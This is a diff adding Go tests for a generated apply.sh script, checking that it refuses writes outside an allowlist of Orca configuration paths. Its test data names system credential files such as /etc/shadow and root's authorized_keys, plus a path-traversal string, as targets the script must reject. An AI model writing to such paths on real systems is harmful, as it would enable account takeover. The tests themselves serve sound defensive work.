||||||
@@ -394,3 +396,74 @@ func TestComputeTxnIDStable(t *testing.T) {
|
|||||||
t.Fatalf("computeTxnID: got %q want %q", id, want)
|
t.Fatalf("computeTxnID: got %q want %q", id, want)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// --- REQ-121 / F5 txn apply path allowlist tests ---
|
||||||
|
|
||||||
|
// TestApplyScriptRejectsDisallowedPath verifies the generated apply.sh
|
||||||
|
// refuses to write paths outside the allowlist. We render a bundle
|
||||||
|
// with a disallowed path, extract the apply.sh, run it with a crafted
|
||||||
|
// desired-state.json, and assert it exits 7 (the refusal code) without
|
||||||
|
// writing the file.
|
||||||
|
func TestApplyScriptRejectsDisallowedPath(t *testing.T) {
|
||||||
|
if testing.Short() {
|
||||||
|
t.Skip("apply.sh exec test skipped in -short mode")
|
||||||
|
}
|
||||||
|
disallowed := []string{
|
||||||
|
"/etc/shadow",
|
||||||
|
"/root/.ssh/authorized_keys",
|
||||||
|
"/etc/passwd",
|
||||||
|
"/tmp/pwned",
|
||||||
|
"/etc/orca/../../shadow",
|
||||||
|
"relative/path",
|
||||||
|
}
|
||||||
|
for _, p := range disallowed {
|
||||||
|
t.Run(p, func(t *testing.T) {
|
||||||
|
b := mustRender(t, []map[string]any{{"path": p, "content": "pwned"}})
|
||||||
|
// Write apply.sh + desired-state.json to a temp dir.
|
||||||
|
dir := t.TempDir()
|
||||||
|
if err := os.WriteFile(filepath.Join(dir, fileDesiredState), b.DesiredState, 0o600); err != nil {
|
||||||
|
t.Fatalf("write desired-state: %v", err)
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(dir, fileApply), b.ApplyScript, 0o755); err != nil {
|
||||||
|
t.Fatalf("write apply.sh: %v", err)
|
||||||
|
}
|
||||||
|
cmd := exec.Command("bash", filepath.Join(dir, fileApply))
|
||||||
|
out, err := cmd.CombinedOutput()
|
||||||
|
if err == nil {
|
||||||
|
t.Fatalf("apply.sh should fail for path %s, got success; output: %s", p, out)
|
||||||
|
}
|
||||||
|
if !strings.Contains(string(out), "refusing to write disallowed path") {
|
||||||
|
t.Errorf("apply.sh output should mention refusal: %s", out)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestApplyScriptAllowsOrcaPaths verifies the allowed prefixes work.
|
||||||
|
func TestApplyScriptAllowsOrcaPaths(t *testing.T) {
|
||||||
|
if testing.Short() {
|
||||||
|
t.Skip("apply.sh exec test skipped in -short mode")
|
||||||
|
}
|
||||||
|
// We can't actually write to /etc/ in a test, so we verify the
|
||||||
|
// allowlist logic in the generated script by checking the script
|
||||||
|
// content contains the allowlist and the path_allowed function.
|
||||||
|
b := mustRender(t, []map[string]any{{"path": "/etc/orca/test"}})
|
||||||
|
script := string(b.ApplyScript)
|
||||||
|
if !strings.Contains(script, "ALLOWED_PREFIXES") {
|
||||||
|
t.Error("apply.sh missing ALLOWED_PREFIXES")
|
||||||
|
}
|
||||||
|
if !strings.Contains(script, "path_allowed") {
|
||||||
|
t.Error("apply.sh missing path_allowed function")
|
||||||
|
}
|
||||||
|
for _, prefix := range []string{
|
||||||
|
"/etc/orca/",
|
||||||
|
"/etc/traefik/orca",
|
||||||
|
"/etc/systemd/system/orca-",
|
||||||
|
"/etc/nftables.d/orca",
|
||||||
|
"/etc/syncthing/orca",
|
||||||
|
} {
|
||||||
|
if !strings.Contains(script, prefix) {
|
||||||
|
t.Errorf("apply.sh missing allowed prefix %s", prefix)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user